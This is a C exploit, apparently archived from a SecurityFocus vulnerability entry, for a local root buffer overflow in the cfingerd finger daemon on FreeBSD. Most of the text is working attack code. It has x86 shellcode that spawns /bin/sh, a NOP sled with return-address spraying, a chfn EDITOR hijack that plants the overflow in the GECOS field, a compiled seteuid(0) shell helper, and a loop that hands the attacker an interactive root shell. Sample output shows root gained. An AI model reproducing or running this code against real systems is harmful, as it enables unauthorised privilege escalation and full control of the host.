// source: https://www.securityfocus.com/bid/651/info
Under systems that allow the user to change his GECOS field from the password file and do not limit its length cfingerd is vulnerable to a local root (or nobody) buffer overflow.
By setting a carefully designed GECOS field it is possible to execute arbitrary code with root (or nobody ) privileges.
/*
babcia padlina ltd. cfingerd local root exploit (for FreeBSD)
RET: bfbfd7d2
PTR: bfbfd750
setting up...
Username: �����������#^�_�^_1҉V_�V_�V_�V_1�;In real life:
Home directory: ��Ue_( Shell: ��@�
Room: �������������#^�_�^_1҉V_�V_�V_�V_1�Work phone:
Home phone: Other:
This user has no mail or mail spool.
Last seen Sun Sep 19 01:09 PM (CEST) from lagoon.gadaczka
uid=0(root) gid=0(wheel) groups=0(wheel)
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#define BUFFER_SIZE 80
#define ADDRS 190
#define PTROFS 200
#define RETOFS 330
#define NOP 0x90
#define FILE1 "user.inf"
#define FILE2 "hack"
#define FILE3 "set"
#define FINGER 79
#define MAXLINE 1024
#define LOCALHOST 0x7f000001
#define GREEN "\033[1;32m"
#define RED "\033[1;31m"
#define NORM "\033[1;39m"
#define UNBOLD "\E[m"
long getesp(void)
{
__asm__("movl %esp,%eax\n");
}
void sh(sockfd)
int sockfd;
{
char buf[MAXLINE];
int c;
fd_set rf, drugi;
FD_ZERO(&rf);
FD_SET(0, &rf);
FD_SET(sockfd, &rf);
while (1)
{
bzero(buf, MAXLINE);
memcpy (&drugi, &rf, sizeof(rf));
select(sockfd+1, &drugi, NULL, NULL, NULL);
if (FD_ISSET(0, &drugi))
{
c = read(0, buf, MAXLINE);
send(sockfd, buf, c, 0x4);
}
if (FD_ISSET(sockfd, &drugi))
{
c = read(sockfd, buf, MAXLINE);
if (c<0) return;
write(1,buf,c);
}
}
}
int connectto(void)
{
int sockfd;
char sendbuf[MAXLINE];
struct sockaddr_in cli;
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_addr.s_addr=htonl(LOCALHOST);
cli.sin_port = htons(FINGER);
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror("socket");
return -1;
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
{
perror("connect");
return -1;
}
sprintf(sendbuf, "%.1023s\n", getenv("LOGNAME"));
write(sockfd, sendbuf, strlen(sendbuf));
sleep(1);
sprintf(sendbuf, "%.900s/%s\n", getenv("HOME"), FILE3);
write(sockfd, sendbuf, strlen(sendbuf));
sleep(1);
sprintf(sendbuf, "id\n");
write(sockfd, sendbuf, strlen(sendbuf));
unlink(FILE3);
fflush(stdout);
fflush(stderr);
sh(sockfd);
return;
}
int main(argc, argv)
int argc;
char **argv;
{
char *buf1 = NULL, *buf2 = NULL, *p = NULL;
u_long *addr_ptr = NULL;
int noplen, i, bufsize = BUFFER_SIZE, addrs = ADDRS, ptrofs = PTROFS;
int retofs = RETOFS;
long ret, ptr;
FILE *phile;
char execshell[] =
"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
fprintf(stderr, "\n%sbabcia padlina ltd. cfingerd local root
exploit%s%s\n\n", GREEN, NORM, UNBOLD);
if(argc > 5)
{
bufsize = atoi(argv[1]);
addrs = atoi(argv[2]);
ptrofs = atoi(argv[3]);
retofs = atoi(argv[4]);
}
if(!(buf1 = malloc(bufsize+1)))
{
perror("malloc()");
return -1;
}
if(!(buf2 = malloc(addrs+1)))
{
perror("malloc()");
return -1;
}
ret = getesp() + retofs;
ptr = getesp() + ptrofs;
noplen = bufsize - strlen(execshell);
memset(buf1, NOP, noplen);
strcat(buf1, execshell);
p = buf2;
addr_ptr = (unsigned long *)p;
for(i = 0; i < (addrs / 4) /2; i++)
*addr_ptr++ = ptr;
for(i = 0; i < (addrs / 4) /2; i++)
*addr_ptr++ = ret;
p = (char *)addr_ptr;
*p = '\0';
if ((phile = fopen(FILE1, "w")) == NULL)
{
perror("fopen()");
return -1;
}
fprintf(stderr, "%sRET: %s%x\n%sPTR: %s%x%\n\n%ssetting up...%s%s\n",
GREEN, RED, ret, GREEN, RED, ptr, GREEN, NORM, UNBOLD);
fprintf(phile, "#Changing user database information for %s.\n"
"Shell: %s\n"
"Full Name: %s\n"
"Office Location: %s\n"
"Office Phone: \n"
"Home Phone: \n"
"Other information: \n",
getenv("LOGNAME"), getenv("SHELL"), buf2, buf1);
fclose(phile);
if ((phile = fopen(FILE2, "w")) == NULL)
{
perror("fopen()");
return -1;
}
fprintf(phile, "cat user.inf>\"$1\"\n");
fprintf(phile, "touch -t 2510711313 \"$1\"\n");
fclose(phile);
sprintf(buf1, "%s.c", FILE3);
if ((phile = fopen(buf1, "w")) == NULL)
{
perror("fopen()");
return -1;
}
// buffer is too small to execute seteuid/setegid there, so we have
// to do this here.
fprintf(phile, "main() { seteuid(0); setegid(0); system(\"exec
/bin/sh\"); }");
fclose(phile);
sprintf(buf2, "/usr/bin/cc -o %s %s.c", FILE3, FILE3);
system(buf2);
unlink(buf1);
system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn > /dev/null
2>&1");
unlink(FILE1);
unlink(FILE2);
if (connectto() < 0)
return -1;
return 0;
}Data
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